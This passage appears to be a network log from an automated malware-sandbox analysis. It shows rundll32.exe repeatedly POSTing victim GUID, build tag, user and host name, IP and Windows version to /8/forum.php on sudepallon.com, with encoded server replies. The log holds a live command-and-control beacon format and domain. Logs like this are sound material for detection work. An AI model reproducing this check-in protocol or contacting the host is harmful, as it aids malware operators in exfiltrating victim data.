Jul 9, 2021 03:07:46.379241943 CEST	307	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 46 55 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZFUAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.22	49285	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:27.775717020 CEST	429	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:27.841001987 CEST	429	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 47 54 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTGTGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.2.22	49286	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:28.117501020 CEST	430	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:28.186084986 CEST	430	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 48 42 59 53 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cHBYSARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.22	49287	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:28.455601931 CEST	431	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:28.522749901 CEST	431	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 43 58 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZCXAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	192.168.2.22	49288	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:28.803240061 CEST	432	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:28.869713068 CEST	432	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 59 5a 41 42 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cYZABARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.2.22	49289	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:29.150449991 CEST	433	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:29.217377901 CEST	433	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 47 54 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZGTAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	192.168.2.22	49290	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:29.488502026 CEST	434	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:29.561541080 CEST	434	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 5a 41 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMZANARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.2.22	49291	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:29.830624104 CEST	435	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:29.896825075 CEST	436	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 56 56 45 45 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cVVEEARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	192.168.2.22	49292	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:30.179404020 CEST	436	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:30.248313904 CEST	437	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 41 46 55 5a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cAFUZARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	192.168.2.22	49293	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:30.527456999 CEST	438	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:30.596205950 CEST	438	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 5a 41 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZZAAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	192.168.2.22	49294	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:30.879043102 CEST	439	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:30.945991039 CEST	439	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 5a 41 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMZANARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.22	49179	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:46.672894955 CEST	308	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:46.738626003 CEST	309	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 46 4d 4e 55 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cFMNUARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	192.168.2.22	49295	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:31.224891901 CEST	440	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:31.294434071 CEST	440	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 4a 51 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQJQJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
131	192.168.2.22	49296	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:31.577616930 CEST	441	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:31.648715019 CEST	441	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 48 53 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMHSNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
132	192.168.2.22	49297	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:31.924048901 CEST	442	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:31.989897966 CEST	442	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 46 56 45 55 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cFVEUARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
133	192.168.2.22	49298	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:32.269800901 CEST	443	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:32.337558031 CEST	443	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 42 4b 50 59 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cBKPYARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
134	192.168.2.22	49299	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:32.612934113 CEST	444	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:32.679884911 CEST	445	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 59 42 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGYBTARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
135	192.168.2.22	49300	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:32.953722000 CEST	445	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:33.022732973 CEST	446	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 48 47 54 53 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cHGTSARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
136	192.168.2.22	49301	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:33.294807911 CEST	447	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:33.364372969 CEST	447	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 5a 41 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGZATARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
137	192.168.2.22	49302	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
